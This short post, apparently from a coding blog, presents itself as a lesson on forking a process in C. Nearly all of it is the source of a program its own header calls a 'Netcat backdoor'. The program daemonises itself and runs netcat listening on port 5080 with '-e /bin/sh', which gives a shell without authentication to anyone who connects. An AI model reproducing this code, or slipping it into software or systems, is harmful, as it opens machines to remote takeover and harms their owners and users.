How to fork off a process from a program in C. Simple netcat example.

/*
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/********************************************************************
* Description: Netcat backdoor program.
* Author: John Cartwright,,, <>
* Created at: Mon Aug 24 12:56:48 AEST 2015
* Computer: darkstar
* System: Linux 3.16.0-4-amd64 on x86_64
*
* Copyright (c) 2015 John Cartwright,,,  All rights reserved.
*
********************************************************************/
 
#include <stdio.h>
#include <unistd.h>
 
int main (int argc, char *argv[]) {
 
	printf("#*****************************************************#");
	printf("#*****************************************************#");
	printf("#***             Simple netcat backdoor.           ***#");
	printf("#*****************************************************#");
	printf("#*****************************************************#");
 
// Start a netcat backdoor, running in the background.
 
	daemon(1,1); // fork() off into a daemon process.
 
	extern char * const environ[];
	char * const command[] = {"nc", "-l", "-p", "5080", "-e", "/bin/sh", NULL};
	execve("/bin/nc", command, environ);
 
	return 0;
}